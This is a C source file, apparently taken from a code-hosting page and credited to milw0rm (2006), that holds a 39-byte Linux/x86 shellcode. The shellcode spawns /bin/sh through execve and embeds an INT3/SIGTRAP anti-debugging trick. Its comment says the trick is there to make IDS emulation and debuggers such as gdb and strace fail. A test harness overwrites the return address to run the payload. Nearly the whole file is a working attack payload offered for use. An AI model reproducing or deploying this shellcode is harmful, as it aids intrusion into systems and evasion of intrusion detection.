477bcbdcc0
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54 lines
No EOL
1.8 KiB
C
Executable file
54 lines
No EOL
1.8 KiB
C
Executable file
/*
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* (linux/x86) anti-debug trick (INT 3h trap) + execve("/bin/sh", ["/bin/sh", NULL], NULL) - 39 bytes
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*
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* The idea behind a shellcode w/ an anti-debugging trick embedded in it, is if for any reason the IDS
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* would try to x86-emulate the shellcode it would *glitch* and fail. This also protectes the shellcode
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* from running within a debugger environment such as gdb and strace.
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*
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* How this works? the shellcode registers for the SIGTRAP signal (aka. Breakpoint Interrupt) and use it
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* to call the acutal payload (e.g. _evil_code) while a greedy debugger or a confused x86-emu won't pass
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* the signal handler to the shellcode, it would end up doing _exit() instead execuve()
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*
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* - izik <izik@tty64.org>
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*/
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char shellcode[] =
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"\x6a\x30" // push $0x30
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"\x58" // pop %eax
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"\x6a\x05" // push $0x5
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"\x5b" // pop %ebx
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"\xeb\x05" // jmp <_evil_code>
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//
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// <_evilcode_loc>:
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//
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"\x59" // pop %ecx
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"\xcd\x80" // int $0x80
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"\xcc" // int3
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"\x40" // inc %eax
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"\xe8\xf6\xff\xff\xff" // call <_evilcode_loc>
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"\x99" // cltd
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//
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// <_evil_code>:
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//
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"\xb0\x0b" // mov $0xb,%al
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"\x52" // push %edx
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"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
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"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe3" // mov %esp,%ebx
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"\x52" // push %edx
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"\x53" // push %ebx
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"\x54" // push %esp
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"\xeb\xe1"; // jmp <_evilcode_loc>
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int main(int argc, char **argv) {
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int) shellcode;
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}
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// milw0rm.com [2006-01-21]
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